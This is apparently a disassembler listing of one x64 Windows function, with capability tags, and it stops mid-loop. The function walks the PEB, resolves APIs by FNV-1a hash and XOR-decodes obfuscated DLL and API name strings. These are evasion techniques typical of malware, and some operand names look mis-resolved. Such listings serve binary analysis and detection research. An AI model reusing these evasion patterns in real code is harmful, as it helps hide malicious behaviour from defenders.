Function at 0x140048ce0
Capabilities:
Access peb ldr_data
Encode data using xor
Get kernel32 base address
Get ntdll base address
Hash data using fnv
Resolve function by fnv-1a hash
Resolve function by parsing pe exports

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
mov qword [rsp + 0x18], rdi
push rbp
push r12
push r13
push r14
push r15
lea rbp, [rsp - 0xd0]
sub rsp, 0x1d0
mov rax, qword [0x1400cd080]
xor rax, rsp
mov qword [rbp + 0xc0], rax
xorps xmm0, xmm0
movups xmmword [rbp + 0xa8], xmm0
lea rcx, [rbp + 0xf8]
movabs rdx, 0xff0f0ff0f0ff00f
mov qword [rbp + 0xb0], rdx
mov qword [rbp + 0xb8], rcx
mov rax, qword [rcx]
xor rax, rdx
mov qword [rbp + 0xa8], rax
xor esi, esi
mov qword [rcx], rsi
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop dword [rax]
nop dword [rax + rax]
mov r10, qword [rax + 0x30]
movsxd rcx, dword [r10 + 0x3c]
mov edi, dword [rcx + r10 + 0x88]
add rdi, r10
cmp rdi, r10
je 0x140048de6
mov r9d, dword [rdi + 0x18]
test r9d, r9d
je 0x140048de6
mov ebx, dword [rdi + 0x20]
nop dword [rax]
nop dword [rax + rax]
dec r9d
lea rcx, [rbx + r9*4]
mov edx, dword [rcx + r10]
add rdx, r10
mov r8d, 0x811c9dc5
movzx ecx, byte [rdx]
inc rdx
test cl, cl
je 0x140048de1
nop
movsx ecx, cl
xor ecx, r8d
imul r8d, ecx, 0x1000193
movzx ecx, byte [rdx]
lea rdx, [rdx + 1]
test cl, cl
jne 0x140048dc0
cmp r8d, 0x53b2070f
je 0x140048deb
test r9d, r9d
jne 0x140048da0
mov rax, qword [rax]
jmp 0x140048d70
mov ecx, dword [rdi + 0x1c]
add rcx, r10
mov eax, dword [rdi + 0x24]
add rax, r10
movzx eax, word [rax + r9*2]
mov ebx, dword [rcx + rax*4]
add rbx, r10
xor edx, edx
mov cl, 0x75
call fcn.140048c80
mov byte [rbp + 0x18], al
mov edx, 1
mov cl, reloc.WS2_32.dll_WSAStartup
call fcn.140048c80
mov byte [rbp + 0x19], al
mov edx, 2
mov cl, 0x65
call fcn.140048c80
mov byte [rbp + 0x1a], al
mov edx, 3
mov cl, WSAStartup
call fcn.140048c80
mov byte [rbp + 0x1b], al
mov edx, 4
mov cl, 0x33
call fcn.140048c80
mov byte [rbp + 0x1c], al
mov edx, 5
mov cl, reloc.WLDAP32.dll_Ordinal_50
call fcn.140048c80
mov byte [rbp + 0x1d], al
mov edx, 6
mov cl, reloc.WLDAP32.dll_Ordinal_46
call fcn.140048c80
mov byte [rbp + 0x1e], al
mov edx, 7
mov cl, 0x64
call fcn.140048c80
mov byte [rbp + 0x1f], al
mov edx, 8
mov cl, 0x6c
call fcn.140048c80
mov byte [rbp + 0x20], al
mov edx, 9
mov cl, 0x6c
call fcn.140048c80
mov byte [rbp + 0x21], al
xor eax, eax
mov byte [rbp + 0x22], al
mov edx, esi
nop dword [rax]
movsxd rax, edx
lea rcx, [rbp + 0x18]
add rcx, rax
lea eax, [rdx + 0x51]
xor byte [rcx], al
inc edx
cmp edx, 0xa
jb 0x140048ea0
mov byte [rbp + 0x22], 0
lea rcx, [rbp + 0x18]
call rbx
mov r14, rax
mov qword [rbp + 0x68], rax
mov rcx, qword gs:[0x60]
mov rcx, qword [rcx + 0x18]
mov rcx, qword [rcx + 0x10]
nop dword [rax + rax]
mov r10, qword [rcx + 0x30]
movsxd rdx, dword [r10 + 0x3c]
mov edi, dword [rdx + r10 + 0x88]
add rdi, r10
cmp rdi, r10
je 0x140048f56
mov r9d, dword [rdi + 0x18]
test r9d, r9d
je 0x140048f56
mov ebx, dword [rdi + 0x20]
nop dword [rax]
nop dword [rax + rax]
dec r9d
lea rax, [rbx + r9*4]
mov edx, dword [rax + r10]
add rdx, r10
mov r8d, 0x811c9dc5
movzx eax, byte [rdx]
inc rdx
test al, al
je 0x140048f51
nop
movsx eax, al
xor eax, r8d
imul r8d, eax, 0x1000193
movzx eax, byte [rdx]
lea rdx, [rdx + 1]
test al, al
jne 0x140048f30
cmp r8d, 0x53b2070f
je 0x140048f5b
test r9d, r9d
jne 0x140048f10
mov rcx, qword [rcx]
jmp 0x140048ee0
mov ecx, dword [rdi + 0x1c]
add rcx, r10
mov eax, dword [rdi + 0x24]
add rax, r10
movzx eax, word [rax + r9*2]
mov ebx, dword [rcx + rax*4]
add rbx, r10
xor edx, edx
mov cl, 0x64
call fcn.140048c80
mov byte [rbp + 0x28], al
mov edx, 1
mov cl, 0x77
call fcn.140048c80
mov byte [rbp + 0x29], al
mov edx, 2
mov cl, 0x6d
call fcn.140048c80
mov byte [rbp + 0x2a], al
mov edx, 3
mov cl, 0x61
call fcn.140048c80
mov byte [rbp + 0x2b], al
mov edx, 4
mov cl, reloc.WS2_32.dll_WSASetLastError
call fcn.140048c80
mov byte [rbp + 0x2c], al
mov edx, 5
mov cl, 0x69
call fcn.140048c80
mov byte [rbp + 0x2d], al
mov edx, 6
mov cl, reloc.WLDAP32.dll_Ordinal_46
call fcn.140048c80
mov byte [rbp + 0x2e], al
mov edx, 7
mov cl, 0x64
call fcn.140048c80
mov byte [rbp + 0x2f], al
mov edx, 8
mov cl, 0x6c
call fcn.140048c80
mov byte [rbp + 0x30], al
mov edx, 9
mov cl, 0x6c
call fcn.140048c80
mov byte [rbp + 0x31], al
xor eax, eax
mov byte [rbp + 0x32], al
mov edx, esi
nop dword [rax]
movsxd rax, edx
lea rcx, [rbp + 0x28]
add rcx, rax
lea eax, [rdx + 0x51]
xor byte [rcx], al
inc edx
cmp edx, 0xa
jb 0x140049010
mov byte [rbp + 0x32], 0
lea rcx, [rbp + 0x28]
call rbx
mov r12, rax
mov qword [rbp + 0xa0], rax
mov rcx, qword gs:[0x60]
mov rcx, qword [rcx + 0x18]
mov rcx, qword [rcx + 0x10]
nop dword [rax + rax]
mov r10, qword [rcx + 0x30]
movsxd rdx, dword [r10 + 0x3c]
mov edi, dword [rdx + r10 + 0x88]
add rdi, r10
cmp rdi, r10
je 0x1400490c6
mov r9d, dword [rdi + 0x18]
test r9d, r9d
je 0x1400490c6
mov ebx, dword [rdi + 0x20]
nop dword [rax]
nop dword [rax + rax]
dec r9d
lea rax, [rbx + r9*4]
mov edx, dword [rax + r10]
add rdx, r10
mov r8d, 0x811c9dc5
movzx eax, byte [rdx]
inc rdx
test al, al
je 0x1400490c1
nop
movsx eax, al
xor eax, r8d
imul r8d, eax, 0x1000193
movzx eax, byte [rdx]
lea rdx, [rdx + 1]
test al, al
jne 0x1400490a0
cmp r8d, 0x53b2070f
je 0x1400490cb
test r9d, r9d
jne 0x140049080
mov rcx, qword [rcx]
jmp 0x140049050
mov ecx, dword [rdi + 0x1c]
add rcx, r10
mov eax, dword [rdi + 0x24]
add rax, r10
movzx eax, word [rax + r9*2]
mov ebx, dword [rcx + rax*4]
add rbx, r10
xor edx, edx
mov cl, 0x4b
call fcn.140048c80
mov byte [rbp + 0x48], al
mov edx, 1
mov cl, 0x65
call fcn.140048c80
mov byte [rbp + 0x49], al
mov edx, 2
mov cl, WSAStartup
call fcn.140048c80
mov byte [rbp + 0x4a], al
mov edx, 3
mov cl, WSAGetLastError
call fcn.140048c80
mov byte [rbp + 0x4b], al
mov edx, 4
mov cl, 0x65
call fcn.140048c80
mov byte [rbp + 0x4c], al
mov edx, 5
mov cl, 0x6c
call fcn.140048c80
mov byte [rbp + 0x4d], al
mov edx, 6
mov cl, 0x33
call fcn.140048c80
mov byte [rbp + 0x4e], al
mov edx, 7
mov cl, reloc.WLDAP32.dll_Ordinal_50
call fcn.140048c80
mov byte [rbp + 0x4f], al
mov edx, 8
mov cl, reloc.WLDAP32.dll_Ordinal_46
call fcn.140048c80
mov byte [rbp + 0x50], al
mov edx, 9
mov cl, 0x64
call fcn.140048c80
mov byte [rbp + 0x51], al
mov edx, 0xa
mov cl, 0x6c
call fcn.140048c80
mov byte [rbp + 0x52], al
mov edx, ntohl
mov cl, 0x6c
call fcn.140048c80
mov byte [rbp + 0x53], al
xor eax, eax
mov byte [rbp + 0x54], al
mov edx, esi
nop word [rax + rax]
movsxd rax, edx
lea rcx, [rbp + 0x48]
add rcx, rax
lea eax, [rdx + 0x51]
xor byte [rcx], al
inc edx
cmp edx, 0xc
jb 0x1400491a0
mov byte [rbp + 0x54], 0
lea rcx, [rbp + 0x48]
call rbx
mov r15, rax
mov qword [rbp + 0x98], rax
test r14, r14
je 0x14004bbec
test r12, r12
je 0x14004bbec
test rax, rax
je 0x14004bbec
mov rcx, qword gs:[0x60]
mov rcx, qword [rcx + 0x18]
mov rcx, qword [rcx + 0x10]
nop word [rax + rax]
mov r10, qword [rcx + 0x30]
movsxd rax, dword [r10 + 0x3c]
mov edi, dword [rax + r10 + 0x88]
add rdi, r10
cmp rdi, r10
je 0x140049276
mov r9d, dword [rdi + 0x18]
test r9d, r9d
je 0x140049276
mov ebx, dword [rdi + 0x20]
nop dword [rax]
nop dword [rax + rax]
dec r9d
lea rax, [rbx + r9*4]
mov edx, dword [rax + r10]
add rdx, r10
mov r8d, 0x811c9dc5
movzx eax, byte [rdx]
inc rdx
test al, al
je 0x140049271
nop
movsx eax, al
xor eax, r8d
imul r8d, eax, 0x1000193
movzx eax, byte [rdx]
lea rdx, [rdx + 1]
test al, al
jne 0x140049250
cmp r8d, 0xf8f45725
je 0x14004927b
test r9d, r9d
jne 0x140049230
mov rcx, qword [rcx]
jmp 0x140049200
mov ecx, dword [rdi + 0x1c]
add rcx, r10
mov eax, dword [rdi + 0x24]
add rax, r10
movzx eax, word [rax + r9*2]
mov ebx, dword [rcx + rax*4]
add rbx, r10
xor edx, edx
mov cl, 0x53
call fcn.140048c80
mov byte [rbp + 8], al
mov edx, 1
mov cl, 0x65
call fcn.140048c80
mov byte [rbp + 9], al
mov edx, 2
mov cl, reloc.WS2_32.dll_WSACleanup
call fcn.140048c80
mov byte [rbp + 0xa], al
mov edx, 3
mov cl, 0x57
call fcn.140048c80
mov byte [rbp + 0xb], al
mov edx, 4
mov cl, 0x69
call fcn.140048c80
mov byte [rbp + 0xc], al
mov edx, 5
mov cl, WSAGetLastError
call fcn.140048c80
mov byte [rbp + 0xd], al
mov edx, 6
mov cl, 0x64
call fcn.140048c80
mov byte [rbp + 0xe], al
mov edx, 7
mov cl, reloc.WS2_32.dll_WSAGetLastError
call fcn.140048c80
mov byte [rbp + 0xf], al
mov edx, 8
mov cl, 0x77
call fcn.140048c80
mov byte [rbp + 0x10], al
mov edx, 9
mov cl, 0x4c
call fcn.140048c80
mov byte [rbp + 0x11], al
mov edx, 0xa
mov cl, reloc.WS2_32.dll_WSAGetLastError
call fcn.140048c80
mov byte [rbp + 0x12], al
mov edx, ntohl
mov cl, WSAGetLastError
call fcn.140048c80
mov byte [rbp + 0x13], al
mov edx, recv
mov cl, 0x67
call fcn.140048c80
mov byte [rbp + 0x14], al
mov edx, reloc.WS2_32.dll_listen
mov cl, 0x41
call fcn.140048c80
mov byte [rbp + 0x15], al
xor eax, eax
mov byte [rbp + 0x16], al
mov edx, esi
nop dword [rax + rax]
movsxd rax, edx
lea rcx, [rbp + 8]
add rcx, rax
lea eax, [rdx + 0x51]
xor byte [rcx], al
inc edx
cmp edx, 0xe
jb 0x140049370
mov byte [rbp + 0x16], 0
lea rdx, [rbp + 8]
mov rcx, r14
call rbx
mov qword [rbp + 0x70], rax
mov rcx, qword gs:[0x60]
mov rcx, qword [rcx + 0x18]
mov rcx, qword [rcx + 0x10]
nop dword [rax + rax]
mov r10, qword [rcx + 0x30]
movsxd rdx, dword [r10 + 0x3c]
mov edi, dword [rdx + r10 + 0x88]
add rdi, r10
cmp rdi, r10
je 0x140049426
mov r9d, dword [rdi + 0x18]
test r9d, r9d
je 0x140049426
mov ebx, dword [rdi + 0x20]
nop dword [rax]
nop dword [rax + rax]
dec r9d
lea rax, [rbx + r9*4]
mov edx, dword [rax + r10]
add rdx, r10
mov r8d, 0x811c9dc5
movzx eax, byte [rdx]
inc rdx
test al, al
je 0x140049421
nop
movsx eax, al
xor eax, r8d
imul r8d, eax, 0x1000193
movzx eax, byte [rdx]
lea rdx, [rdx + 1]
test al, al
jne 0x140049400
cmp r8d, 0xf8f45725
je 0x14004942b
test r9d, r9d
jne 0x1400493e0
mov rcx, qword [rcx]
jmp 0x1400493b0
mov ecx, dword [rdi + 0x1c]
add rcx, r10
mov eax, dword [rdi + 0x24]
add rax, r10
movzx eax, word [rax + r9*2]
mov ebx, dword [rcx + rax*4]
add rbx, r10
xor edx, edx
mov cl, 0x47
call fcn.140048c80
mov byte [rbp - 0x28], al
mov edx, 1
mov cl, 0x65
call fcn.140048c80
mov byte [rbp - 0x27], al
mov edx, 2
mov cl, reloc.WS2_32.dll_WSACleanup
call fcn.140048c80
mov byte [rbp - 0x26], al
mov edx, 3
mov cl, 0x43
call fcn.140048c80
mov byte [rbp - 0x25], al
mov edx, 4
mov cl, 0x75
call fcn.140048c80
mov byte [rbp - 0x24], al
mov edx, 5
mov cl, WSAStartup
call fcn.140048c80
mov byte [rbp - 0x23], al
mov edx, 6
mov cl, reloc.WS2_32.dll_WSAStartup
call fcn.140048c80
mov byte [rbp - 0x22], al
mov edx, 7
mov cl, reloc.WS2_32.dll_WSAGetLastError
call fcn.140048c80
mov byte [rbp - 0x21], al
mov edx, 8
mov cl, WSAStartup
call fcn.140048c80
mov byte [rbp - 0x20], al
mov edx, 9
mov cl, 0x50
call fcn.140048c80
mov byte [rbp - 0x1f], al
mov edx, 0xa
mov cl, reloc.WS2_32.dll_WSAGetLastError
call fcn.140048c80
mov byte [rbp - 0x1e], al
mov edx, ntohl
mov cl, reloc.WS2_32.dll_WSAStartup
call fcn.140048c80
mov byte [rbp - 0x1d], al
xor eax, eax
mov byte [rbp - 0x1c], al
mov edx, esi
nop word [rax + rax]
movsxd rax, edx
lea rcx, [rbp - 0x28]
add rcx, rax
lea eax, [rdx + 0x51]
xor byte [rcx], al
inc edx
cmp edx, 0xc
jb 0x140049500
mov byte [rbp - 0x1c], 0
lea rdx, [rbp - 0x28]
mov rcx, r14
call rbx
mov qword [rbp + 8], rax
mov rcx, qword gs:[0x60]
mov rcx, qword [rcx + 0x18]
mov rcx, qword [rcx + 0x10]
nop dword [rax + rax]
mov r10, qword [rcx + 0x30]
movsxd rdx, dword [r10 + 0x3c]
mov edi, dword [rdx + r10 + 0x88]
add rdi, r10
cmp rdi, r10
je 0x1400495b6
mov r9d, dword [rdi + 0x18]
test r9d, r9d
je 0x1400495b6
mov ebx, dword [rdi + 0x20]
nop dword [rax]
nop dword [rax + rax]
dec r9d
lea rax, [rbx + r9*4]
mov edx, dword [rax + r10]
add rdx, r10
mov r8d, 0x811c9dc5
movzx eax, byte [rdx]
inc rdx
test al, al
je 0x1400495b1
nop
movsx eax, al
xor eax, r8d
imul r8d, eax, 0x1000193
movzx eax, byte [rdx]
lea rdx, [rdx + 1]
test al, al
jne 0x140049590
cmp r8d, 0xf8f45725
je 0x1400495bb
test r9d, r9d
jne 0x140049570
mov rcx, qword [rcx]
jmp 0x140049540
mov ecx, dword [rdi + 0x1c]
add rcx, r10
mov eax, dword [rdi + 0x24]
add rax, r10
movzx eax, word [rax + r9*2]
mov ebx, dword [rcx + rax*4]
add rbx, r10
xor edx, edx
mov cl, 0x43
call fcn.140048c80
mov byte [rbp - 0x18], al
mov edx, 1
mov cl, WSAStartup
call fcn.140048c80
mov byte [rbp - 0x17], al
mov edx, 2
mov cl, 0x65
call fcn.140048c80
mov byte [rbp - 0x16], al
mov edx, 3
mov cl, 0x61
call fcn.140048c80
mov byte [rbp - 0x15], al
mov edx, 4
mov cl, reloc.WS2_32.dll_WSACleanup
call fcn.140048c80
mov byte [rbp - 0x14], al
mov edx, 5
mov cl, 0x65
call fcn.140048c80
mov byte [rbp - 0x13], al
mov edx, 6
mov cl, 0x57
call fcn.140048c80
mov byte [rbp - 0x12], al
mov edx, 7
mov cl, 0x69
call fcn.140048c80
mov byte [rbp - 0x11], al
mov edx, 8
mov cl, WSAGetLastError
call fcn.140048c80
mov byte [rbp - 0x10], al
mov edx, 9
mov cl, 0x64
call fcn.140048c80
mov byte [rbp - 0xf], al
mov edx, 0xa
mov cl, reloc.WS2_32.dll_WSAGetLastError
call fcn.140048c80
mov byte [rbp - 0xe], al
mov edx, ntohl
mov cl, 0x77
call fcn.140048c80
mov byte [rbp - 0xd], al
mov edx, recv
mov cl, 0x45
call fcn.140048c80
mov byte [rbp - 0xc], al
mov edx, reloc.WS2_32.dll_listen
mov cl, 0x78
call fcn.140048c80
mov byte [rbp - 0xb], al
mov edx, reloc.WS2_32.dll_ntohl
mov cl, 0x41
call fcn.140048c80
mov byte [rbp - 0xa], al
xor eax, eax
mov byte [rbp - 9], al
mov edx, esi
nop word [rax + rax]
movsxd rax, edx
lea rcx, [rbp - 0x18]
add rcx, rax
lea eax, [rdx + 0x51]
xor byte [rcx], al
inc edx
cmp edx, 0xf
jb 0x1400496c0
mov byte [rbp - 9], 0
lea rdx, [rbp - 0x18]
mov rcx, r14
call rbx
mov qword [rbp + 0x80], rax
mov rcx, qword gs:[0x60]
mov rcx, qword [rcx + 0x18]
mov rcx, qword [rcx + 0x10]
nop dword [rax + rax]
mov r10, qword [rcx + 0x30]
movsxd rdx, dword [r10 + 0x3c]
mov edi, dword [rdx + r10 + 0x88]
add rdi, r10
cmp rdi, r10
je 0x140049776
mov r9d, dword [rdi + 0x18]
test r9d, r9d
je 0x140049776
mov ebx, dword [rdi + 0x20]
nop dword [rax]
nop dword [rax + rax]
dec r9d
lea rax, [r10 + r9*4]
mov edx, dword [rax + rbx]
add rdx, r10
mov r8d, 0x811c9dc5
movzx eax, byte [rdx]
inc rdx
test al, al
je 0x140049771
nop dword [rax]
movsx eax, al
xor eax, r8d
imul r8d, eax, 0x1000193
movzx eax, byte [rdx]
lea rdx, [rdx + 1]
test al, al
jne 0x140049750
cmp r8d, 0xf8f45725
je 0x14004977b
test r9d, r9d
jne 0x140049730
mov rcx, qword [rcx]
jmp 0x140049700
mov ecx, dword [rdi + 0x1c]
add rcx, r10
mov eax, dword [rdi + 0x24]
add rax, r10
movzx eax, word [rax + r9*2]
mov ebx, dword [rcx + rax*4]
add rbx, r10
xor edx, edx
mov cl, 0x46
call fcn.140048c80
mov byte [rsp + 0x20], al
mov edx, 1
mov cl, 0x69
call fcn.140048c80
mov byte [rsp + 0x21], al
mov edx, 2
mov cl, WSAGetLastError
call fcn.140048c80
mov byte [rsp + 0x22], al
mov edx, 3
mov cl, 0x64
call fcn.140048c80
mov byte [rsp + 0x23], al
mov edx, 4
mov cl, 0x57
call fcn.140048c80
mov byte [rsp + 0x24], al
mov edx, 5
mov cl, 0x69
call fcn.140048c80
mov byte [rsp + 0x25], al
mov edx, 6
mov cl, WSAGetLastError
call fcn.140048c80
mov byte [rsp + 0x26], al
mov edx, 7
mov cl, 0x64
call fcn.140048c80
mov byte [rsp + 0x27], al
mov edx, 8
mov cl, reloc.WS2_32.dll_WSAGetLastError
call fcn.140048c80
mov byte [rsp + 0x28], al
mov edx, 9
mov cl, 0x77
call fcn.140048c80
mov byte [rsp + 0x29], al
mov edx, 0xa
mov cl, 0x41
call fcn.140048c80
mov byte [rsp + 0x2a], al
xor eax, eax
mov byte [rsp + 0x2b], al
mov edx, esi
nop word [rax + rax]
movsxd rax, edx
lea rcx, [rsp + 0x20]
add rcx, rax
lea eax, [rdx + 0x51]
xor byte [rcx], al
inc edx
cmp edx, 0xb
jb 0x140049850
mov byte [rsp + 0x2b], 0
lea rdx, [rsp + 0x20]
mov rcx, r14
call rbx
mov qword [rbp + 0x90], rax
mov rcx, qword gs:[0x60]
mov rcx, qword [rcx + 0x18]
mov rcx, qword [rcx + 0x10]
nop
mov r10, qword [rcx + 0x30]
movsxd rdx, dword [r10 + 0x3c]
mov edi, dword [rdx + r10 + 0x88]
add rdi, r10
cmp rdi, r10
je 0x140049906
mov r9d, dword [rdi + 0x18]
test r9d, r9d
je 0x140049906
mov ebx, dword [rdi + 0x20]
nop dword [rax]
nop dword [rax + rax]
dec r9d
lea rax, [r10 + r9*4]
mov edx, dword [rax + rbx]
add rdx, r10
mov r8d, 0x811c9dc5
movzx eax, byte [rdx]
inc rdx
test al, al
je 0x140049901
nop dword [rax]
movsx eax, al
xor eax, r8d
imul r8d, eax, 0x1000193
movzx eax, byte [rdx]
lea rdx, [rdx + 1]
test al, al
jne 0x1400498e0
cmp r8d, 0xf8f45725
je 0x14004990b
test r9d, r9d
jne 0x1400498c0
mov rcx, qword [rcx]
jmp 0x140049890
mov ecx, dword [rdi + 0x1c]
add rcx, r10
mov eax, dword [rdi + 0x24]
add rax, r10
movzx eax, word [rax + r9*2]
mov ebx, dword [rcx + rax*4]
add rbx, r10
xor edx, edx
mov cl, 0x47
call fcn.140048c80
mov byte [rsp + 0x20], al
mov edx, 1
mov cl, 0x65
call fcn.140048c80
mov byte [rsp + 0x21], al
mov edx, 2
mov cl, reloc.WS2_32.dll_WSACleanup
call fcn.140048c80
mov byte [rsp + 0x22], al
mov edx, 3
mov cl, 0x44
call fcn.140048c80
mov byte [rsp + 0x23], al
mov edx, 4
mov cl, 0x65
call fcn.140048c80
mov byte [rsp + 0x24], al
mov edx, 5
mov cl, reloc.WS2_32.dll_WSAStartup
call fcn.140048c80
mov byte [rsp + 0x25], al
mov edx, 6
mov cl, 0x6b
call fcn.140048c80
mov byte [rsp + 0x26], al
mov edx, 7
mov cl, reloc.WS2_32.dll_WSACleanup
call fcn.140048c80
mov byte [rsp + 0x27], al
mov edx, 8
mov cl, reloc.WS2_32.dll_WSAGetLastError
call fcn.140048c80
mov byte [rsp + 0x28], al
mov edx, 9
mov cl, reloc.WS2_32.dll_WSASetLastError
call fcn.140048c80
mov byte [rsp + 0x29], al
mov edx, 0xa
mov cl, 0x57
call fcn.140048c80
mov byte [rsp + 0x2a], al
mov edx, ntohl
mov cl, 0x69
call fcn.140048c80
mov byte [rsp + 0x2b], al
mov edx, recv
mov cl, WSAGetLastError
call fcn.140048c80
mov byte [rsp + 0x2c], al
mov edx, reloc.WS2_32.dll_listen
mov cl, 0x64
call fcn.140048c80
mov byte [rsp + 0x2d], al
mov edx, reloc.WS2_32.dll_ntohl
mov cl, reloc.WS2_32.dll_WSAGetLastError
call fcn.140048c80
mov byte [rsp + 0x2e], al
mov edx, reloc.WS2_32.dll_ntohs
mov cl, 0x77
call fcn.140048c80
mov byte [rsp + 0x2f], al
xor eax, eax
mov byte [rsp + 0x30], al
mov edx, esi
nop word [rax + rax]
movsxd rax, edx
lea rcx, [rsp + 0x20]
add rcx, rax
lea eax, [rdx + 0x51]
xor byte [rcx], al
inc edx
cmp edx, 0x10
jb 0x140049a30
mov byte [rsp + 0x30], 0
lea rdx, [rsp + 0x20]
mov rcx, r14
call rbx
mov qword [rbp - 0x18], rax
mov rcx, qword gs:[0x60]
mov rcx, qword [rcx + 0x18]
mov rcx, qword [rcx + 0x10]
nop dword [rax + rax]
mov r10, qword [rcx + 0x30]
movsxd rdx, dword [r10 + 0x3c]
mov edi, dword [rdx + r10 + 0x88]
add rdi, r10
cmp rdi, r10
je 0x140049ae6
mov r9d, dword [rdi + 0x18]
test r9d, r9d
je 0x140049ae6
mov ebx, dword [rdi + 0x20]
nop dword [rax]
nop dword [rax + rax]
dec r9d
lea rax, [rbx + r9*4]
mov edx, dword [rax + r10]
add rdx, r10
mov r8d, 0x811c9dc5
movzx eax, byte [rdx]
inc rdx
test al, al
je 0x140049ae1
nop
movsx eax, al
xor eax, r8d
imul r8d, eax, 0x1000193
movzx eax, byte [rdx]
lea rdx, [rdx + 1]
test al, al
jne 0x140049ac0
cmp r8d, 0xf8f45725
je 0x140049aeb
test r9d, r9d
jne 0x140049aa0
mov rcx, qword [rcx]
jmp 0x140049a70
mov ecx, dword [rdi + 0x1c]
add rcx, r10
mov eax, dword [rdi + 0x24]
add rax, r10
movzx eax, word [rax + r9*2]
mov ebx, dword [rcx + rax*4]
add rbx, r10
xor edx, edx
mov cl, 0x52
call fcn.140048c80
mov byte [rsp + 0x20], al
mov edx, 1
mov cl, 0x65
call fcn.140048c80
mov byte [rsp + 0x21], al
mov edx, 2
mov cl, 0x67
call fcn.140048c80
mov byte [rsp + 0x22], al
mov edx, 3
mov cl, 0x69
call fcn.140048c80
mov byte [rsp + 0x23], al
mov edx, 4
mov cl, reloc.WS2_32.dll_WSAStartup
call fcn.140048c80
mov byte [rsp + 0x24], al
mov edx, 5
mov cl, reloc.WS2_32.dll_WSACleanup
call fcn.140048c80
mov byte [rsp + 0x25], al
mov edx, 6
mov cl, 0x65
call fcn.140048c80
mov byte [rsp + 0x26], al
mov edx, 7
mov cl, WSAStartup
call fcn.140048c80
mov byte [rsp + 0x27], al
mov edx, 8
mov cl, 0x43
call fcn.140048c80
mov byte [rsp + 0x28], al
mov edx, 9
mov cl, 0x6c
call fcn.140048c80
mov byte [rsp + 0x29], al
mov edx, 0xa
mov cl, 0x61
call fcn.140048c80
mov byte [rsp + 0x2a], al
mov edx, ntohl
mov cl, reloc.WS2_32.dll_WSAStartup
call fcn.140048c80
mov byte [rsp + 0x2b], al
mov edx, recv
mov cl, reloc.WS2_32.dll_WSAStartup
call fcn.140048c80
mov byte [rsp + 0x2c], al
mov edx, reloc.WS2_32.dll_listen
mov cl, 0x45
call fcn.140048c80
mov byte [rsp + 0x2d], al
mov edx, reloc.WS2_32.dll_ntohl
mov cl, 0x78
call fcn.140048c80
mov byte [rsp + 0x2e], al
mov edx, reloc.WS2_32.dll_ntohs
mov cl, 0x41
call fcn.140048c80
mov byte [rsp + 0x2f], al
xor eax, eax
mov byte [rsp + 0x30], al
mov edx, esi
nop word [rax + rax]
movsxd rax, edx
lea rcx, [rsp + 0x20]
add rcx, rax
lea eax, [rdx + 0x51]
xor byte [rcx], al
inc edx
cmp edx, 0x10
jb 0x140049c10
mov byte [rsp + 0x30], 0
lea rdx, [rsp + 0x20]
mov rcx, r14
call rbx
mov qword [rbp + 0x88], rax
mov rcx, qword gs:[0x60]
mov rcx, qword [rcx + 0x18]
mov rcx, qword [rcx + 0x10]
nop
mov r10, qword [rcx + 0x30]
movsxd rdx, dword [r10 + 0x3c]
mov edi, dword [rdx + r10 + 0x88]
add rdi, r10
cmp rdi, r10
je 0x140049cc6
mov r9d, dword [rdi + 0x18]
test r9d, r9d
je 0x140049cc6
mov ebx, dword [rdi + 0x20]
nop dword [rax]
nop dword [rax + rax]
dec r9d
lea rax, [rbx + r9*4]
mov edx, dword [rax + r10]
add rdx, r10
mov r8d, 0x811c9dc5
movzx eax, byte [rdx]
inc rdx
test al, al
je 0x140049cc1
nop
movsx eax, al
xor eax, r8d
imul r8d, eax, 0x1000193
movzx eax, byte [rdx]
lea rdx, [rdx + 1]
test al, al
jne 0x140049ca0
cmp r8d, 0xf8f45725
je 0x140049ccb
test r9d, r9d
jne 0x140049c80
mov rcx, qword [rcx]
jmp 0x140049c50
mov ecx, dword [rdi + 0x1c]
add rcx, r10
mov eax, dword [rdi + 0x24]
add rax, r10
movzx eax, word [rax + r9*2]
mov ebx, dword [rcx + rax*4]
add rbx, r10
xor edx, edx
mov cl, 0x44
call fcn.140048c80
mov byte [rbp - 0x48], al
mov edx, 1
mov cl, 0x65
call fcn.140048c80
mov byte [rbp - 0x47], al
mov edx, 2
mov cl, 0x66
call fcn.140048c80
mov byte [rbp - 0x46], al
mov edx, 3
mov cl, 0x57
call fcn.140048c80
mov byte [rbp - 0x45], al
mov edx, 4
mov cl, 0x69
call fcn.140048c80
mov byte [rbp - 0x44], al
mov edx, 5
mov cl, WSAGetLastError
call fcn.140048c80
mov byte [rbp - 0x43], al
mov edx, 6
mov cl, 0x64
call fcn.140048c80
mov byte [rbp - 0x42], al
mov edx, 7
mov cl, reloc.WS2_32.dll_WSAGetLastError
call fcn.140048c80
mov byte [rbp - 0x41], al
mov edx, 8
mov cl, 0x77
call fcn.140048c80
mov byte [rbp - 0x40], al
mov edx, 9
mov cl, 0x50
call fcn.140048c80
mov byte [rbp - 0x3f], al
mov edx, 0xa
mov cl, WSAStartup
call fcn.140048c80
mov byte [rbp - 0x3e], al
mov edx, ntohl
mov cl, reloc.WS2_32.dll_WSAGetLastError
call fcn.140048c80
mov byte [rbp - 0x3d], al
mov edx, recv
mov cl, 0x63
call fcn.140048c80
mov byte [rbp - 0x3c], al
mov edx, reloc.WS2_32.dll_listen
mov cl, 0x57
call fcn.140048c80
mov byte [rbp - 0x3b], al
xor eax, eax
mov byte [rbp - 0x3a], al
mov edx, esi
nop dword [rax + rax]
movsxd rax, edx
lea rcx, [rbp - 0x48]
add rcx, rax
lea eax, [rdx + 0x51]
xor byte [rcx], al
inc edx
cmp edx, 0xe
jb 0x140049dc0
mov byte [rbp - 0x3a], 0
lea rdx, [rbp - 0x48]
mov rcx, r14
call rbx
mov qword [rbp + 0x78], rax
mov rcx, qword gs:[0x60]
mov rcx, qword [rcx + 0x18]
mov rcx, qword [rcx + 0x10]
nop dword [rax + rax]
mov r10, qword [rcx + 0x30]
movsxd rdx, dword [r10 + 0x3c]
mov edi, dword [rdx + r10 + 0x88]
add rdi, r10
cmp rdi, r10
je 0x140049e76
mov r9d, dword [rdi + 0x18]
test r9d, r9d
je 0x140049e76
mov ebx, dword [rdi + 0x20]
nop dword [rax]
nop dword [rax + rax]
dec r9d
lea rax, [rbx + r9*4]
mov edx, dword [rax + r10]
add rdx, r10
mov r8d, 0x811c9dc5
movzx eax, byte [rdx]
inc rdx
test al, al
je 0x140049e71
nop
movsx eax, al
xor eax, r8d
